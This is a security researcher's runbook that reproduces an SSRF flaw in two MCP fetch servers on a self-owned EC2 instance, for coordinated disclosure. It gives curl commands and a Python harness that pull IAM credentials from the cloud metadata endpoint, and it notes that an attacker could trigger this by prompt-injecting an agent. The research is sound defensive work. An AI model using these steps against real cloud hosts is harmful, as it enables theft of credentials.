This runbook turns the “deduced from local behavior” SSRF findings on
mcp-server-fetch
and mcp-server-http-request
into “demonstrated on cloud, IMDS credentials retrieved” disclosure-grade evidence.
Time: ~30 minutes end-to-end the first time (most of it is AWS account setup if you don’t have one). ~5 minutes if you already have an AWS account.
Cost: ~$0.01. The t3.micro instance is AWS Free Tier eligible. If you stay under 750 hours/month aggregate across all Free Tier instances, you pay nothing. If you forget to terminate the instance and leave it running, you’d pay ~$0.01/hour after Free Tier exhausts. Step 9 below covers teardown — do not skip it.
| Path | Goal | Cost | Time | Evidence quality |
|---|---|---|---|---|
| A — Local mock IMDS | demonstrate the mechanism | $0, no AWS | 10 min | mechanism proof; not disclosure-grade |
| B — Real EC2 | get the smoking gun | ~$0.01 (Free Tier) | 30 min | disclosure-grade, real credentials |
This document covers Path B (the disclosure-grade one). For Path A, see the appendix at the bottom.
dishant-personal).The point of the SSRF demonstration is that fetch retrieves IAM credentials from IMDS. For IMDS to return credentials, the instance must have an IAM role attached. We give it a minimal role with AmazonEC2ReadOnlyAccess — enough that exfiltrating its credentials is a real (if low-impact) compromise.
mcp-scan-ssrf-test-role.mcp-scan-test. Type: RSA. Format: .pem (Linux/macOS) or .ppk (Windows PuTTY).mcp-scan-test.pem.~/.ssh/ and set permissions:
mv ~/Downloads/mcp-scan-test.pem ~/.ssh/
chmod 400 ~/.ssh/mcp-scan-test.pem
mcp-scan-ssrf-test.Amazon Linux 2023 (Free Tier eligible).t3.micro (Free Tier eligible).mcp-scan-test (from Part 3).mcp-scan-ssrf-test-role (from Part 2).ssh -i ~/.ssh/mcp-scan-test.pem ec2-user@<PUBLIC_IP>
First time: type yes to accept the host key.
You’ll get a prompt like [ec2-user@ip-172-31-22-180 ~]$. You’re inside the instance.
Inside the instance, run:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
You should see mcp-scan-ssrf-test-role printed. That’s IMDS confirming the role we attached.
Now retrieve actual credentials:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/mcp-scan-ssrf-test-role/
You should see a JSON block with AccessKeyId, SecretAccessKey, Token, Expiration. Those are real, valid AWS credentials. They expire in a few hours but right now they have AmazonEC2ReadOnlyAccess on your account.
If this works, the next step (the actual SSRF demonstration) will show that mcp-server-fetch retrieves exactly the same content when prompted.
Still inside the EC2 instance:
# Install Python tools and the vulnerable server
sudo dnf install -y python3-pip
pip3 install --user mcp-server-fetch
# Add user-installed scripts to PATH
export PATH="$HOME/.local/bin:$PATH"
Now run a minimal harness that talks to fetch over stdio and asks it to fetch the IMDS credentials endpoint:
cat > ssrf_demo.py <<'PYEOF'
import asyncio
import json
from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client
IMDS_URL = "http://169.254.169.254/latest/meta-data/iam/security-credentials/mcp-scan-ssrf-test-role/"
async def main():
params = StdioServerParameters(
command="python3", args=["-m", "mcp_server_fetch"], env=None,
)
async with stdio_client(params) as (read, write):
async with ClientSession(read, write) as session:
await session.initialize()
print(f"\n--- calling fetch({IMDS_URL!r}) ---\n")
result = await session.call_tool("fetch", {"url": IMDS_URL})
for item in result.content:
text = getattr(item, "text", str(item))
print(text)
asyncio.run(main())
PYEOF
python3 ssrf_demo.py
Expected output: the AWS credential JSON, returned by mcp-server-fetch exactly as IMDS would have returned it. Something like:
--- calling fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/mcp-scan-ssrf-test-role/') ---
Contents of http://169.254.169.254/latest/meta-data/iam/security-credentials/mcp-scan-ssrf-test-role/:
{
"Code" : "Success",
"LastUpdated" : "2026-...",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA...",
"SecretAccessKey" : "...",
"Token" : "...",
"Expiration" : "..."
}
That’s the smoking gun. A vulnerable MCP tool returned IAM credentials when an attacker (via prompt injection of the agent using this server) coerced it into fetching a metadata-service URL.
AccessKeyId / SecretAccessKey / Token block in the response.python3 ssrf_demo.py > ssrf_demo_output.txt.For disclosure, you DO NOT include the actual credential values — they’re sensitive and expire shortly anyway. You include enough to prove the leak: the request URL, response shape with field names visible, partially-redacted values.
Then immediately on the EC2 instance, rotate or invalidate any creds that may have been touched: in this exercise they’re scoped to a single throwaway role you’re about to delete, so just continue to teardown.
This is the only step that costs money if you skip it.
mcp-scan-ssrf-test.mcp-scan-ssrf-test-role → select → Delete. Type the role name to confirm.mcp-scan-test → Delete.launch-wizard-1) → Delete.After this, your AWS account is back to zero cost.
Now that you have demonstrated evidence, edit both finding entries in findings/:
In each file, find the ## What was *not* observed section and replace it with ## Reproduction on EC2 (2026-05-12) containing:
ssrf_demo.py output (with credentials redacted)Then update the Outcome at the top from “Vulnerability (deduced)” to “Vulnerability (demonstrated on EC2)”.
Commit and push.
You now have everything needed to open issues against the maintainers.
mcp-server-fetchmcp-server-http-requestSame process, against the upstream repo (find it linked from the PyPI page).
Open both on the same day — they’re the same class of bug and a single coordinated disclosure looks more professional than two separate filings on different days.
If you want to demonstrate the mechanism right now without setting up AWS, this works as a proof-of-concept but is not disclosure-grade because the credentials aren’t real.
# Terminal 1: fake IMDS on 127.0.0.1:8080
cat > mock_imds.py <<'PYEOF'
from aiohttp import web
FAKE = {"Code":"Success","AccessKeyId":"ASIAEXAMPLE",
"SecretAccessKey":"EXAMPLEKEY","Token":"EXAMPLE",
"Expiration":"2099-12-31T00:00:00Z"}
async def handler(req):
if req.path.endswith("/iam/security-credentials/"):
return web.Response(text="mock-role\n")
if "mock-role" in req.path:
import json; return web.Response(text=json.dumps(FAKE, indent=2))
return web.Response(status=404)
app = web.Application()
app.router.add_route("*", "/{path:.*}", handler)
web.run_app(app, host="127.0.0.1", port=8080)
PYEOF
python3 mock_imds.py
In Terminal 2:
# Modify the demo to hit your mock instead of real IMDS:
sed -i.bak 's|http://169.254.169.254|http://127.0.0.1:8080|' ssrf_demo.py
python3 ssrf_demo.py
You’ll see mcp-server-fetch return the fake credential JSON. The proof: fetch made no attempt to validate that 127.0.0.1:8080 was a non-sensitive destination. On real EC2 substitute 127.0.0.1:8080 with 169.254.169.254 and the same blind fetch happens — except now it’s real AWS credentials.
This local demonstration is fine for a blog post or talk visual. It is not what you file with maintainers as evidence.